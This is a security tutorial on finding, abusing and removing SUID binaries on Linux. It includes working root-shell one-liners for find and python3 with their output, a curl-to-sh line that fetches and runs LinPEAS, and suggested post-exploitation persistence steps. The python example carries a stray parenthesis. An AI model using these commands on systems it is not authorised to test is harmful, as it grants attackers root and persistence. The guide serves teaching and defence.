In 2023, a misconfigured find binary with the SUID bit set gave attackers root on a financial services firm's internal Linux server — CVE-2021-4034 got the headlines, but a simple find / -perm -4000 did the actual damage. SUID binaries are one of the most reliable post-exploitation paths on Linux, and they're alarmingly common in real environments. This guide walks through how to find them, exploit them, and lock them down.
What SUID Binaries Are and Why They Matter
SUID (Set User ID) is a Unix permission bit. When set on an executable, that binary runs as its owner — not the user who launched it. If root owns a SUID binary, any user who executes it gets root-level process privileges for the duration of that execution.
Legitimate examples include /usr/bin/passwd and /usr/bin/sudo. The problem is when non-essential binaries like find, vim, or python3 get the bit set accidentally — or maliciously. GTFOBins (gtfobins.github.io) catalogs exactly how each one can be abused.
Finding SUID Binaries: Manual and Automated
Start with the one-liner every pentester runs first. Logged in as low-privilege user jdoe on dev-web01.internal (192.0.2.45):
jdoe@dev-web01:~$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/find
/usr/bin/python3.10
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
Two entries immediately stand out: /usr/bin/find and /usr/bin/python3.10. Neither should have the SUID bit. Standard installs never set it on those binaries — something or someone did this manually, or a sloppy provisioning script ran chmod u+s too broadly.
For automated enumeration, LinPEAS (a shell script that checks hundreds of escalation vectors) wraps this and adds context:
jdoe@dev-web01:~$ curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | grep -A2 "SUID"
[+] SUID - Check easy privesc, exploits and write perms
[i] https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
/usr/bin/find ---> LD_PRELOAD(8)(nosuid)+CommandExecution
/usr/bin/python3.10 ---> CommandExecution
LinPEAS flags both binaries and links them directly to known exploit techniques. The tag CommandExecution means these binaries can spawn a shell or run arbitrary commands — and since they run as root, that shell is a root shell.
Exploiting SUID Binaries: Two Real Examples
Example 1: SUID find
The GTFOBins technique for SUID find is one command. No compilation, no exploit code — just abuse the -exec flag:
jdoe@dev-web01:~$ find . -exec /bin/sh -p \; -quit
# id
uid=1001(jdoe) gid=1001(jdoe) euid=0(root) groups=1001(jdoe)
# whoami
root
The -p flag on /bin/sh tells the shell not to drop elevated privileges — without it, bash and sh both reset the effective UID to the real UID as a safety measure. With it, euid=0 confirms you're running as root. From here, an attacker reads /etc/shadow, drops an SSH key into /root/.ssh/authorized_keys, or installs a cron-based backdoor.
Example 2: SUID python3
Python makes it even cleaner. One line spawns a root shell:
jdoe@dev-web01:~$ python3.10 -c 'import os; os.execl("/bin/sh", "sh", "-p")')
# id
uid=1001(jdoe) gid=1001(jdoe) euid=0(root) groups=1001(jdoe)
os.execl replaces the current process image with /bin/sh, inheriting the SUID-granted root effective UID. Same result as the find example, different entry point. This is why the GTFOBins list matters — the technique changes per binary, but the outcome is always the same: full root access from a standard user account.
Defending Against SUID Abuse
Detection is straightforward. Run the same find command defenders should be running on a schedule and compare output against a known-good baseline. Any new SUID binary outside /usr/bin/passwd, /usr/bin/sudo, and a short approved list is an incident.
Remediation is one command. To strip the SUID bit from python3.10:
root@dev-web01:~# chmod u-s /usr/bin/python3.10
root@dev-web01:~# ls -la /usr/bin/python3.10
-rwxr-xr-x 1 root root 5901688 Mar 12 2025 /usr/bin/python3.10
The s bit is gone. Also consider mounting filesystems with the nosuid option — any SUID binary on that mount point will be ignored by the kernel regardless of permissions. Add nosuid to /etc/fstab entries for /tmp, /home, and any externally-mounted volumes.
What To Do Right Now
SSH into one of your Linux systems today and run find / -perm -4000 -type f 2>/dev/null. Compare the output against GTFOBins. If any binary on that list appears in your output, strip the SUID bit immediately and audit how it got set. Takes five minutes. Could save your entire environment.
